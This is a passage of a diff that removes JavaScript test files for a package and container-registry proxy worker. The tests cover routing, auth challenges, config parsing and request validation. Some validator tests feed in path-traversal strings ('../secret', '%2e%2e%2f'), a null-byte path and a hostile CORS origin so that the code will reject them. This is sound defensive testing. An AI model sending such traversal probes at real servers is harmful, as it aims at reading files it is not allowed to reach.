||||
headers: { 'Content-Type': 'application/json' }
|
||||
});
|
||||
});
|
||||
|
||||
const request = new Request('https://example.com/cr/ghcr/v2/auth?service=Xget');
|
||||
const response = await worker.fetch(request, {}, executionContext);
|
||||
|
||||
expect(response.status).toBe(200);
|
||||
expect(upstreamCalls[0]).toBe('https://ghcr.io/v2/');
|
||||
});
|
||||
|
||||
it('routes registry manifests without duplicating /v2', async () => {
|
||||
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(
|
||||
new Response('', {
|
||||
status: 200,
|
||||
headers: { 'Content-Length': '0' }
|
||||
})
|
||||
);
|
||||
|
||||
const request = new Request(
|
||||
'https://example.com/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest',
|
||||
{
|
||||
method: 'HEAD'
|
||||
}
|
||||
);
|
||||
const response = await worker.fetch(request, {}, executionContext);
|
||||
|
||||
expect(response.status).toBe(200);
|
||||
expect(String(fetchSpy.mock.calls[0][0])).toBe(
|
||||
'https://ghcr.io/v2/nginxinc/nginx-unprivileged/manifests/latest'
|
||||
);
|
||||
});
|
||||
|
||||
it('routes host-style registry manifests through the upstream v2 API', async () => {
|
||||
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(
|
||||
new Response('', {
|
||||
status: 200,
|
||||
headers: { 'Content-Length': '0' }
|
||||
})
|
||||
);
|
||||
|
||||
const request = new Request('https://example.com/v2/cr/ghcr/xixu-me/xget/manifests/latest', {
|
||||
method: 'HEAD'
|
||||
});
|
||||
const response = await worker.fetch(request, {}, executionContext);
|
||||
|
||||
expect(response.status).toBe(200);
|
||||
expect(String(fetchSpy.mock.calls[0][0])).toBe(
|
||||
'https://ghcr.io/v2/xixu-me/xget/manifests/latest'
|
||||
);
|
||||
});
|
||||
|
||||
it('normalizes Docker Hub official image paths during proxying', async () => {
|
||||
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(
|
||||
new Response('', {
|
||||
status: 200,
|
||||
headers: { 'Content-Length': '0' }
|
||||
})
|
||||
);
|
||||
|
||||
const request = new Request('https://example.com/cr/docker/v2/nginx/manifests/latest', {
|
||||
headers: { Accept: 'application/vnd.docker.distribution.manifest.v2+json' }
|
||||
});
|
||||
const response = await worker.fetch(request, {}, executionContext);
|
||||
|
||||
expect(response.status).toBe(200);
|
||||
expect(String(fetchSpy.mock.calls[0][0])).toBe(
|
||||
'https://registry-1.docker.io/v2/library/nginx/manifests/latest'
|
||||
);
|
||||
});
|
||||
|
||||
it('preserves platform-specific Docker auth challenges', async () => {
|
||||
let callCount = 0;
|
||||
vi.spyOn(globalThis, 'fetch').mockImplementation(async () => {
|
||||
callCount++;
|
||||
|
||||
if (callCount === 1) {
|
||||
return new Response('', {
|
||||
status: 401,
|
||||
headers: {
|
||||
'WWW-Authenticate': 'Bearer realm="https://ghcr.io/token",service="ghcr.io"'
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
return new Response('denied', { status: 401 });
|
||||
});
|
||||
|
||||
const request = new Request('https://example.com/cr/ghcr/v2/private/repo/manifests/latest', {
|
||||
headers: { Accept: 'application/vnd.docker.distribution.manifest.v2+json' }
|
||||
});
|
||||
const response = await worker.fetch(request, {}, executionContext);
|
||||
|
||||
expect(response.status).toBe(401);
|
||||
expect(response.headers.get('WWW-Authenticate')).toBe(
|
||||
'Bearer realm="https://example.com/cr/ghcr/v2/auth",service="Xget"'
|
||||
);
|
||||
expect(await response.text()).toContain('UNAUTHORIZED');
|
||||
});
|
||||
|
||||
it('follows 303 redirects for Docker registry responses without forwarding auth headers', async () => {
|
||||
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockImplementation(async (input, init) => {
|
||||
const headers = new Headers(init?.headers);
|
||||
const url = String(input);
|
||||
|
||||
if (url === 'https://ghcr.io/v2/xixu-me/xget/manifests/latest') {
|
||||
expect(headers.get('Authorization')).toBe('Bearer token123');
|
||||
return new Response(null, {
|
||||
status: 303,
|
||||
headers: {
|
||||
Location: 'https://pkg-containers.githubusercontent.com/manifest'
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
if (url === 'https://pkg-containers.githubusercontent.com/manifest') {
|
||||
expect(headers.get('Authorization')).toBeNull();
|
||||
return new Response('', {
|
||||
status: 200,
|
||||
headers: { 'Content-Length': '0' }
|
||||
});
|
||||
}
|
||||
|
||||
throw new Error(`Unexpected fetch URL: ${url}`);
|
||||
});
|
||||
|
||||
const request = new Request('https://example.com/v2/cr/ghcr/xixu-me/xget/manifests/latest', {
|
||||
headers: { Authorization: 'Bearer token123' }
|
||||
});
|
||||
const response = await worker.fetch(request, {}, executionContext);
|
||||
|
||||
expect(response.status).toBe(200);
|
||||
expect(fetchSpy).toHaveBeenCalledTimes(2);
|
||||
});
|
||||
|
||||
it('accepts standard repository scopes on platform-prefixed auth endpoints', async () => {
|
||||
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockImplementation(async input => {
|
||||
const url = String(input);
|
||||
|
||||
if (url === 'https://ghcr.io/v2/') {
|
||||
return new Response('', {
|
||||
status: 401,
|
||||
headers: {
|
||||
'WWW-Authenticate': 'Bearer realm="https://ghcr.io/token",service="ghcr.io"'
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
return new Response(JSON.stringify({ token: 'token' }), {
|
||||
status: 200,
|
||||
headers: { 'Content-Type': 'application/json' }
|
||||
});
|
||||
});
|
||||
|
||||
const request = new Request(
|
||||
'https://example.com/cr/ghcr/v2/auth?scope=repository:private/repo:pull&service=Xget'
|
||||
);
|
||||
const response = await worker.fetch(request, {}, executionContext);
|
||||
|
||||
expect(response.status).toBe(200);
|
||||
expect(String(fetchSpy.mock.calls[1][0])).toContain('scope=repository%3Aprivate%2Frepo%3Apull');
|
||||
});
|
||||
|
||||
it('treats empty JSON token responses as unusable instead of throwing', async () => {
|
||||
const token = await readRegistryTokenResponse(
|
||||
new Response('', {
|
||||
status: 200,
|
||||
headers: { 'Content-Type': 'application/json' }
|
||||
})
|
||||
);
|
||||
|
||||
expect(token).toBeNull();
|
||||
});
|
||||
|
||||
it('falls back cleanly when the token service returns an empty success body', async () => {
|
||||
const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {});
|
||||
let callCount = 0;
|
||||
|
||||
vi.spyOn(globalThis, 'fetch').mockImplementation(async () => {
|
||||
callCount++;
|
||||
|
||||
if (callCount === 1) {
|
||||
return new Response('', {
|
||||
status: 401,
|
||||
headers: {
|
||||
'WWW-Authenticate': 'Bearer realm="https://ghcr.io/token",service="ghcr.io"'
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
return new Response('', { status: 200 });
|
||||
});
|
||||
|
||||
const request = new Request('https://example.com/cr/ghcr/v2/private/repo/manifests/latest', {
|
||||
headers: { Accept: 'application/vnd.docker.distribution.manifest.v2+json' }
|
||||
});
|
||||
const response = await worker.fetch(request, {}, executionContext);
|
||||
|
||||
expect(response.status).toBe(401);
|
||||
expect(response.headers.get('WWW-Authenticate')).toBe(
|
||||
'Bearer realm="https://example.com/cr/ghcr/v2/auth",service="Xget"'
|
||||
);
|
||||
expect(await response.text()).toContain('UNAUTHORIZED');
|
||||
expect(warnSpy).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
describe('Protocol Header Configuration', () => {
|
||||
afterEach(() => {
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
|
||||
it('does not send Git user-agent for AI inference requests', async () => {
|
||||
/** @type {{ url: string, userAgent: string | null }[]} */
|
||||
const observed = [];
|
||||
vi.spyOn(globalThis, 'fetch').mockImplementation(async (input, init) => {
|
||||
const headers = new Headers(init?.headers);
|
||||
observed.push({
|
||||
url: String(input),
|
||||
userAgent: headers.get('User-Agent')
|
||||
});
|
||||
|
||||
return new Response('{}', {
|
||||
status: 200,
|
||||
headers: { 'Content-Type': 'application/json' }
|
||||
});
|
||||
});
|
||||
|
||||
const request = new Request('https://example.com/ip/openai/v1/chat/completions', {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: '{}'
|
||||
});
|
||||
const response = await worker.fetch(request, {}, executionContext);
|
||||
|
||||
expect(response.status).toBe(200);
|
||||
expect(observed[0]).toEqual({
|
||||
url: 'https://api.openai.com/v1/chat/completions',
|
||||
userAgent: 'Xget-AI-Proxy/1.0'
|
||||
});
|
||||
});
|
||||
|
||||
it('updates Content-Length after rewriting npm metadata', async () => {
|
||||
const upstreamBody = JSON.stringify({
|
||||
dist: {
|
||||
tarball: 'https://registry.npmjs.org/pkg/-/pkg-1.0.0.tgz'
|
||||
}
|
||||
});
|
||||
|
||||
vi.spyOn(globalThis, 'fetch').mockResolvedValue(
|
||||
new Response(upstreamBody, {
|
||||
status: 200,
|
||||
headers: {
|
||||
'Content-Type': 'application/json',
|
||||
'Content-Length': String(upstreamBody.length)
|
||||
}
|
||||
})
|
||||
);
|
||||
|
||||
const response = await worker.fetch(
|
||||
new Request('https://example.com/npm/pkg'),
|
||||
{},
|
||||
executionContext
|
||||
);
|
||||
const body = await response.text();
|
||||
|
||||
expect(body).toContain('https://example.com/npm/pkg/-/pkg-1.0.0.tgz');
|
||||
expect(response.headers.get('Content-Length')).toBe(
|
||||
String(new TextEncoder().encode(body).byteLength)
|
||||
);
|
||||
});
|
||||
});
|
||||
@@ -1,65 +0,0 @@
|
||||
import { afterEach, describe, expect, it, vi } from 'vitest';
|
||||
|
||||
import { PerformanceMonitor, addPerformanceHeaders } from '../../src/utils/performance.js';
|
||||
import {
|
||||
isFlatpakReferenceFilePath,
|
||||
rewriteTextResponse,
|
||||
shouldRewriteTextResponse
|
||||
} from '../../src/utils/rewrite.js';
|
||||
|
||||
afterEach(() => {
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
|
||||
describe('Runtime helper coverage', () => {
|
||||
it('serializes performance metrics and warns on duplicate marks', () => {
|
||||
const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {});
|
||||
const monitor = new PerformanceMonitor();
|
||||
|
||||
monitor.mark('request-start');
|
||||
monitor.mark('request-start');
|
||||
monitor.mark('complete');
|
||||
|
||||
const response = addPerformanceHeaders(
|
||||
new Response('ok', {
|
||||
status: 200,
|
||||
headers: { 'Content-Type': 'text/plain' }
|
||||
}),
|
||||
monitor
|
||||
);
|
||||
const metrics = JSON.parse(response.headers.get('X-Performance-Metrics') || '{}');
|
||||
|
||||
expect(warnSpy).toHaveBeenCalledWith('Mark with name request-start already exists.');
|
||||
expect(metrics).toHaveProperty('request-start');
|
||||
expect(metrics).toHaveProperty('complete');
|
||||
expect(response.headers.get('X-Frame-Options')).toBe('DENY');
|
||||
});
|
||||
|
||||
it('rewrites only supported upstream response types', () => {
|
||||
expect(shouldRewriteTextResponse('pypi', '/pypi/simple/demo/', 'text/html')).toBe(true);
|
||||
expect(shouldRewriteTextResponse('npm', '/npm/demo', 'application/json')).toBe(true);
|
||||
expect(
|
||||
shouldRewriteTextResponse(
|
||||
'flathub',
|
||||
'/flathub/repo/demo.flatpakrepo',
|
||||
'application/octet-stream'
|
||||
)
|
||||
).toBe(true);
|
||||
expect(shouldRewriteTextResponse('gh', '/gh/user/repo/file.txt', 'text/plain')).toBe(false);
|
||||
|
||||
expect(isFlatpakReferenceFilePath('/flathub/repo/demo.flatpakref')).toBe(true);
|
||||
expect(isFlatpakReferenceFilePath('/flathub/repo/summary')).toBe(false);
|
||||
|
||||
expect(
|
||||
rewriteTextResponse(
|
||||
'flathub',
|
||||
'/flathub/repo/demo.flatpakrepo',
|
||||
'Url=https://dl.flathub.org/repo/',
|
||||
'https://example.com'
|
||||
)
|
||||
).toContain('https://example.com/flathub/repo/');
|
||||
expect(
|
||||
rewriteTextResponse('gh', '/gh/user/repo/file.txt', 'unchanged', 'https://example.com')
|
||||
).toBe('unchanged');
|
||||
});
|
||||
});
|
||||
@@ -1,19 +0,0 @@
|
||||
// @vitest-environment node
|
||||
|
||||
import { createRequire } from 'node:module';
|
||||
|
||||
import { describe, expect, it } from 'vitest';
|
||||
|
||||
const require = createRequire(import.meta.url);
|
||||
const tsconfig = require('../../tsconfig.json');
|
||||
const packageJson = require('../../package.json');
|
||||
|
||||
describe('TypeScript config', () => {
|
||||
it('explicitly includes Node.js types for mixed runtime files', () => {
|
||||
expect(tsconfig.compilerOptions.types).toContain('node');
|
||||
});
|
||||
|
||||
it('declares Node.js typings as a dev dependency', () => {
|
||||
expect(packageJson.devDependencies['@types/node']).toBeTruthy();
|
||||
});
|
||||
});
|
||||
@@ -1,405 +0,0 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
|
||||
import { createConfig } from '../../src/config/index.js';
|
||||
import { isGitLFSRequest, isGitRequest } from '../../src/protocols/git.js';
|
||||
import {
|
||||
addCorsHeaders,
|
||||
addSecurityHeaders,
|
||||
createErrorResponse,
|
||||
resolveAllowedOrigin
|
||||
} from '../../src/utils/security.js';
|
||||
import { getAllowedMethods, isDockerRequest, validateRequest } from '../../src/utils/validation.js';
|
||||
|
||||
describe('Utility Functions', () => {
|
||||
describe('createConfig', () => {
|
||||
it.each([
|
||||
['-1', 300],
|
||||
['0', 300],
|
||||
['abc', 300],
|
||||
['60', 60]
|
||||
])('should parse CACHE_DURATION=%s as %i', (value, expected) => {
|
||||
expect(createConfig({ CACHE_DURATION: value }).CACHE_DURATION).toBe(expected);
|
||||
});
|
||||
|
||||
it('should reject invalid numeric runtime overrides', () => {
|
||||
const config = createConfig({
|
||||
MAX_PATH_LENGTH: '-1',
|
||||
MAX_RETRIES: '-2',
|
||||
RETRY_DELAY_MS: '-10',
|
||||
TIMEOUT_SECONDS: '0'
|
||||
});
|
||||
|
||||
expect(config.MAX_RETRIES).toBe(3);
|
||||
expect(config.RETRY_DELAY_MS).toBe(1000);
|
||||
expect(config.TIMEOUT_SECONDS).toBe(30);
|
||||
expect(config.SECURITY.MAX_PATH_LENGTH).toBe(2048);
|
||||
});
|
||||
|
||||
it('should allow zero retry delay for tests and low-latency deployments', () => {
|
||||
expect(createConfig({ RETRY_DELAY_MS: '0' }).RETRY_DELAY_MS).toBe(0);
|
||||
expect(createConfig({ RETRY_DELAY_MS: 0 }).RETRY_DELAY_MS).toBe(0);
|
||||
});
|
||||
|
||||
it.each([
|
||||
{ label: 'empty string', value: '' },
|
||||
{ label: 'blank string', value: ' ' },
|
||||
{ label: 'tab string', value: '\t' },
|
||||
{ label: 'null', value: null },
|
||||
{ label: 'false', value: false },
|
||||
{ label: 'empty array', value: [] }
|
||||
])('should reject zero-coercible RETRY_DELAY_MS from $label', ({ value }) => {
|
||||
expect(createConfig({ RETRY_DELAY_MS: value }).RETRY_DELAY_MS).toBe(1000);
|
||||
});
|
||||
|
||||
it.each([
|
||||
{ label: 'empty string', value: '' },
|
||||
{ label: 'blank string', value: ' ' },
|
||||
{ label: 'tab string', value: '\t' },
|
||||
{ label: 'null', value: null },
|
||||
{ label: 'false', value: false },
|
||||
{ label: 'empty array', value: [] }
|
||||
])('should reject zero-coercible positive integer overrides from $label', ({ value }) => {
|
||||
const config = createConfig({
|
||||
CACHE_DURATION: value,
|
||||
MAX_PATH_LENGTH: value,
|
||||
MAX_RETRIES: value,
|
||||
TIMEOUT_SECONDS: value
|
||||
});
|
||||
|
||||
expect(config.CACHE_DURATION).toBe(300);
|
||||
expect(config.MAX_RETRIES).toBe(3);
|
||||
expect(config.SECURITY.MAX_PATH_LENGTH).toBe(2048);
|
||||
expect(config.TIMEOUT_SECONDS).toBe(30);
|
||||
});
|
||||
|
||||
it.each([
|
||||
{ label: 'true', value: true },
|
||||
{ label: 'date object', value: new Date(0) }
|
||||
])('should reject non-string non-number runtime overrides from $label', ({ value }) => {
|
||||
const config = createConfig({
|
||||
CACHE_DURATION: value,
|
||||
MAX_RETRIES: value,
|
||||
RETRY_DELAY_MS: value,
|
||||
TIMEOUT_SECONDS: value
|
||||
});
|
||||
|
||||
expect(config.CACHE_DURATION).toBe(300);
|
||||
expect(config.MAX_RETRIES).toBe(3);
|
||||
expect(config.RETRY_DELAY_MS).toBe(1000);
|
||||
expect(config.TIMEOUT_SECONDS).toBe(30);
|
||||
});
|
||||
|
||||
it('should still accept numeric and trimmed numeric runtime overrides', () => {
|
||||
const config = createConfig({
|
||||
CACHE_DURATION: ' 60 ',
|
||||
MAX_PATH_LENGTH: 4096,
|
||||
MAX_RETRIES: '2',
|
||||
RETRY_DELAY_MS: ' 0 ',
|
||||
TIMEOUT_SECONDS: 45
|
||||
});
|
||||
|
||||
expect(config.CACHE_DURATION).toBe(60);
|
||||
expect(config.MAX_RETRIES).toBe(2);
|
||||
expect(config.RETRY_DELAY_MS).toBe(0);
|
||||
expect(config.SECURITY.MAX_PATH_LENGTH).toBe(4096);
|
||||
expect(config.TIMEOUT_SECONDS).toBe(45);
|
||||
});
|
||||
});
|
||||
|
||||
describe('isGitRequest', () => {
|
||||
it('should identify Git info/refs requests', () => {
|
||||
const request = new Request('https://example.com/repo.git/info/refs');
|
||||
const url = new URL(request.url);
|
||||
|
||||
expect(isGitRequest(request, url)).toBe(true);
|
||||
});
|
||||
|
||||
it('should identify Git requests by User-Agent', () => {
|
||||
const request = new Request('https://example.com/repo.git', {
|
||||
headers: { 'User-Agent': 'git/2.34.1' }
|
||||
});
|
||||
const url = new URL(request.url);
|
||||
|
||||
expect(isGitRequest(request, url)).toBe(true);
|
||||
});
|
||||
|
||||
it('should not identify regular file requests as Git', () => {
|
||||
const request = new Request('https://example.com/repo/file.txt');
|
||||
const url = new URL(request.url);
|
||||
|
||||
expect(isGitRequest(request, url)).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('isGitLFSRequest', () => {
|
||||
it('should identify LFS batch API requests', () => {
|
||||
const request = new Request('https://example.com/repo.git/objects/batch', {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/vnd.git-lfs+json' }
|
||||
});
|
||||
const url = new URL(request.url);
|
||||
|
||||
expect(isGitLFSRequest(request, url)).toBe(true);
|
||||
});
|
||||
|
||||
it('should identify LFS requests by User-Agent', () => {
|
||||
const request = new Request('https://example.com/repo.git', {
|
||||
headers: { 'User-Agent': 'git-lfs/3.0.0 (GitHub; darwin amd64; go 1.17.2)' }
|
||||
});
|
||||
const url = new URL(request.url);
|
||||
|
||||
expect(isGitLFSRequest(request, url)).toBe(true);
|
||||
});
|
||||
|
||||
it('should not identify regular file requests as LFS', () => {
|
||||
const request = new Request('https://example.com/repo/file.txt');
|
||||
const url = new URL(request.url);
|
||||
|
||||
expect(isGitLFSRequest(request, url)).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('validateRequest', () => {
|
||||
it('should allow GET requests', () => {
|
||||
const request = new Request('https://example.com/test', { method: 'GET' });
|
||||
const url = new URL(request.url);
|
||||
|
||||
const result = validateRequest(request, url, createConfig());
|
||||
expect(result.valid).toBe(true);
|
||||
});
|
||||
|
||||
it('should allow POST requests for Git operations', () => {
|
||||
const request = new Request('https://example.com/repo.git/git-upload-pack', {
|
||||
method: 'POST',
|
||||
headers: { 'User-Agent': 'git/2.34.1' }
|
||||
});
|
||||
const url = new URL(request.url);
|
||||
|
||||
const result = validateRequest(request, url, createConfig());
|
||||
expect(result.valid).toBe(true);
|
||||
});
|
||||
|
||||
it('should reject encoded traversal attempts against the production validator', () => {
|
||||
const request = new Request('https://example.com/gh/user/repo/%2e%2e%2fsecret');
|
||||
const url = new URL(request.url);
|
||||
|
||||
const result = validateRequest(request, url, createConfig());
|
||||
expect(result.valid).toBe(false);
|
||||
expect(result.status).toBe(400);
|
||||
});
|
||||
|
||||
it('should reject raw traversal sequences from the original request URL', () => {
|
||||
const request = /** @type {Request} */ ({
|
||||
headers: new Headers(),
|
||||
method: 'GET',
|
||||
url: 'https://example.com/gh/user/repo/../secret'
|
||||
});
|
||||
const url = new URL('https://example.com/gh/user/secret');
|
||||
|
||||
const result = validateRequest(request, url, createConfig());
|
||||
expect(result.valid).toBe(false);
|
||||
expect(result.status).toBe(400);
|
||||
});
|
||||
|
||||
it('should reject paths containing ASCII control characters', () => {
|
||||
const baseUrl = new URL('https://example.com/gh/user/repo/%00file');
|
||||
const request = /** @type {Request} */ ({
|
||||
headers: new Headers(),
|
||||
method: 'GET',
|
||||
url: 'https://example.com/gh/user/repo/%00file'
|
||||
});
|
||||
const url = /** @type {URL} */ ({
|
||||
origin: 'https://example.com',
|
||||
pathname: '/gh/user/repo/\u0000file',
|
||||
searchParams: baseUrl.searchParams
|
||||
});
|
||||
|
||||
const result = validateRequest(request, url, createConfig());
|
||||
expect(result.valid).toBe(false);
|
||||
expect(result.status).toBe(400);
|
||||
});
|
||||
|
||||
it('should reject malformed percent-encoded paths', () => {
|
||||
const baseUrl = new URL('https://example.com/gh/user/repo/%E0%A4%A');
|
||||
const request = /** @type {Request} */ ({
|
||||
headers: new Headers(),
|
||||
method: 'GET',
|
||||
url: 'https://example.com/gh/user/repo/%E0%A4%A'
|
||||
});
|
||||
const url = /** @type {URL} */ ({
|
||||
origin: 'https://example.com',
|
||||
pathname: '/gh/user/repo/%E0%A4%A',
|
||||
searchParams: baseUrl.searchParams
|
||||
});
|
||||
|
||||
const result = validateRequest(request, url, createConfig());
|
||||
expect(result.valid).toBe(false);
|
||||
expect(result.status).toBe(400);
|
||||
});
|
||||
|
||||
it('should reject unsupported methods for regular requests', () => {
|
||||
const request = new Request('https://example.com/gh/user/repo/file.txt', { method: 'PATCH' });
|
||||
const url = new URL(request.url);
|
||||
|
||||
const result = validateRequest(request, url, createConfig());
|
||||
expect(result.valid).toBe(false);
|
||||
expect(result.status).toBe(405);
|
||||
});
|
||||
|
||||
it('should reject paths longer than the configured maximum', () => {
|
||||
const request = new Request(`https://example.com/gh/${'a'.repeat(200)}`);
|
||||
const url = new URL(request.url);
|
||||
|
||||
const result = validateRequest(request, url, createConfig({ MAX_PATH_LENGTH: '32' }));
|
||||
expect(result.valid).toBe(false);
|
||||
expect(result.status).toBe(414);
|
||||
});
|
||||
});
|
||||
|
||||
describe('getAllowedMethods', () => {
|
||||
it('should respect configured methods for regular requests', () => {
|
||||
const config = createConfig({ ALLOWED_METHODS: 'GET,HEAD,POST' });
|
||||
const request = new Request('https://example.com/gh/test/repo/issues', { method: 'POST' });
|
||||
const url = new URL(request.url);
|
||||
|
||||
expect(getAllowedMethods(request, url, config)).toEqual(['GET', 'HEAD', 'POST']);
|
||||
});
|
||||
|
||||
it('should allow mutating methods for Hugging Face API endpoints', () => {
|
||||
const request = new Request('https://example.com/hf/token', { method: 'DELETE' });
|
||||
const url = new URL(request.url);
|
||||
|
||||
expect(getAllowedMethods(request, url)).toEqual([
|
||||
'GET',
|
||||
'HEAD',
|
||||
'POST',
|
||||
'PUT',
|
||||
'PATCH',
|
||||
'DELETE'
|
||||
]);
|
||||
});
|
||||
});
|
||||
|
||||
describe('isDockerRequest', () => {
|
||||
it('should identify canonical registry API paths', () => {
|
||||
const request = new Request('https://example.com/cr/ghcr/v2/demo/manifests/latest');
|
||||
const url = new URL(request.url);
|
||||
|
||||
expect(isDockerRequest(request, url)).toBe(true);
|
||||
});
|
||||
|
||||
it('should identify Docker requests by user agent or manifest headers', () => {
|
||||
const userAgentRequest = new Request('https://example.com/cr/docker/library/nginx', {
|
||||
headers: { 'User-Agent': 'docker/27.0.0' }
|
||||
});
|
||||
const acceptRequest = new Request('https://example.com/cr/docker/library/nginx', {
|
||||
headers: { Accept: 'application/vnd.oci.image.manifest.v1+json' }
|
||||
});
|
||||
const contentTypeRequest = new Request('https://example.com/cr/docker/library/nginx', {
|
||||
headers: { 'Content-Type': 'application/vnd.docker.distribution.manifest.v2+json' }
|
||||
});
|
||||
|
||||
expect(isDockerRequest(userAgentRequest, new URL(userAgentRequest.url))).toBe(true);
|
||||
expect(isDockerRequest(acceptRequest, new URL(acceptRequest.url))).toBe(true);
|
||||
expect(isDockerRequest(contentTypeRequest, new URL(contentTypeRequest.url))).toBe(true);
|
||||
});
|
||||
|
||||
it('should not treat generic /cr/ requests as Docker traffic without registry hints', () => {
|
||||
const request = new Request('https://example.com/cr/docker/library/nginx/readme');
|
||||
const url = new URL(request.url);
|
||||
|
||||
expect(isDockerRequest(request, url)).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('addSecurityHeaders', () => {
|
||||
it('should add all required security headers', () => {
|
||||
const headers = new Headers();
|
||||
const result = addSecurityHeaders(headers);
|
||||
|
||||
expect(result.get('Strict-Transport-Security')).toContain('max-age=31536000');
|
||||
expect(result.get('X-Frame-Options')).toBe('DENY');
|
||||
expect(result.get('X-XSS-Protection')).toBe('1; mode=block');
|
||||
expect(result.get('Referrer-Policy')).toBe('strict-origin-when-cross-origin');
|
||||
expect(result.get('Content-Security-Policy')).toContain("default-src 'none'");
|
||||
expect(result.get('Permissions-Policy')).toContain('interest-cohort=()');
|
||||
});
|
||||
|
||||
it('should return the same Headers object', () => {
|
||||
const headers = new Headers();
|
||||
const result = addSecurityHeaders(headers);
|
||||
|
||||
expect(result).toBe(headers);
|
||||
});
|
||||
});
|
||||
|
||||
describe('resolveAllowedOrigin', () => {
|
||||
it('should return the matching origin from the production config', () => {
|
||||
const config = createConfig({ ALLOWED_ORIGINS: 'https://app.example.com' });
|
||||
const request = new Request('https://example.com/gh/test/repo', {
|
||||
headers: { Origin: 'https://app.example.com' }
|
||||
});
|
||||
|
||||
expect(resolveAllowedOrigin(request, config)).toBe('https://app.example.com');
|
||||
});
|
||||
|
||||
it('should reject origins that are not configured', () => {
|
||||
const config = createConfig({ ALLOWED_ORIGINS: 'https://app.example.com' });
|
||||
const request = new Request('https://example.com/gh/test/repo', {
|
||||
headers: { Origin: 'https://evil.example.com' }
|
||||
});
|
||||
|
||||
expect(resolveAllowedOrigin(request, config)).toBeNull();
|
||||
});
|
||||
|
||||
it('should allow any origin when wildcard CORS is configured', () => {
|
||||
const config = createConfig({ ALLOWED_ORIGINS: '*' });
|
||||
const request = new Request('https://example.com/gh/test/repo', {
|
||||
headers: { Origin: 'https://app.example.com' }
|
||||
});
|
||||
|
||||
expect(resolveAllowedOrigin(request, config)).toBe('*');
|
||||
});
|
||||
});
|
||||
|
||||
describe('addCorsHeaders', () => {
|
||||
it('should append allow headers and preserve existing Vary values', () => {
|
||||
const config = createConfig({ ALLOWED_ORIGINS: '*' });
|
||||
const request = new Request('https://example.com/gh/test/repo', {
|
||||
headers: {
|
||||
Origin: 'https://app.example.com',
|
||||
'Access-Control-Request-Headers': 'X-Test-Header'
|
||||
}
|
||||
});
|
||||
|
||||
const headers = addCorsHeaders(new Headers({ Vary: 'Accept-Encoding' }), request, config);
|
||||
|
||||
expect(headers.get('Access-Control-Allow-Origin')).toBe('*');
|
||||
expect(headers.get('Access-Control-Allow-Headers')).toBe('X-Test-Header');
|
||||
expect(headers.get('Vary')).toBe('Accept-Encoding, Origin');
|
||||
});
|
||||
});
|
||||
|
||||
describe('createErrorResponse', () => {
|
||||
it('should create a plain-text error response with security headers', async () => {
|
||||
const response = createErrorResponse('Bad Request', 400);
|
||||
|
||||
expect(response.status).toBe(400);
|
||||
expect(response.headers.get('Content-Type')).toBe('text/plain');
|
||||
expect(response.headers.get('X-Frame-Options')).toBe('DENY');
|
||||
expect(await response.text()).toBe('Bad Request');
|
||||
});
|
||||
|
||||
it('should create detailed JSON error responses when requested', async () => {
|
||||
const response = createErrorResponse('Unauthorized', 401, true);
|
||||
const body = await response.json();
|
||||
|
||||
expect(response.headers.get('Content-Type')).toBe('application/json');
|
||||
expect(body).toMatchObject({
|
||||
error: 'Unauthorized',
|
||||
status: 401
|
||||
});
|
||||
expect(body.timestamp).toBeTruthy();
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -1,718 +0,0 @@
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
|
||||
import worker from '../../src/index.js';
|
||||
|
||||
/** @type {ExecutionContext} */
|
||||
const executionContext = {
|
||||
waitUntil() {},
|
||||
passThroughOnException() {}
|
||||
};
|
||||
|
||||
describe('Worker regression coverage', () => {
|
||||
/** @type {{ match: ReturnType<typeof vi.fn>, put: ReturnType<typeof vi.fn> }} */
|
||||
let cacheDefault;
|
||||
|
||||
beforeEach(() => {
|
||||
cacheDefault = {
|
||||
match: vi.fn(async () => null),
|
||||
put: vi.fn(async () => undefined)
|
||||
};
|
||||
|
||||
vi.stubGlobal('caches', {
|
||||
default: cacheDefault
|
||||
});
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
vi.unstubAllGlobals();
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
|
||||
it('does not leak thrown upstream error details to clients', async () => {
|
||||
vi.spyOn(globalThis, 'fetch').mockRejectedValue(new Error('secret-upstream-detail'));
|
||||
|
||||
const response = await worker.fetch(
|
||||
new Request('https://example.com/gh/user/repo/file.txt'),
|
||||
{ MAX_RETRIES: '1', RETRY_DELAY_MS: '0', TIMEOUT_SECONDS: '1' },
|
||||
executionContext
|
||||
);
|
||||
|
||||
const body = await response.text();
|
||||
|
||||
expect(response.status).toBe(502);
|
||||
expect(body).not.toContain('secret-upstream-detail');
|
||||
expect(body).not.toContain('Failed after');
|
||||
});
|
||||
|
||||
it('clears timeout handles when upstream fetch rejects', async () => {
|
||||
const timeoutToken = { id: 'timeout-token' };
|
||||
const setTimeoutSpy = vi.fn(() => timeoutToken);
|
||||
const clearTimeoutSpy = vi.fn();
|
||||
|
||||
vi.stubGlobal('setTimeout', setTimeoutSpy);
|
||||
vi.stubGlobal('clearTimeout', clearTimeoutSpy);
|
||||
vi.spyOn(globalThis, 'fetch').mockRejectedValue(new Error('boom'));
|
||||
|
||||
const response = await worker.fetch(
|
||||
new Request('https://example.com/gh/user/repo/file.txt'),
|
||||
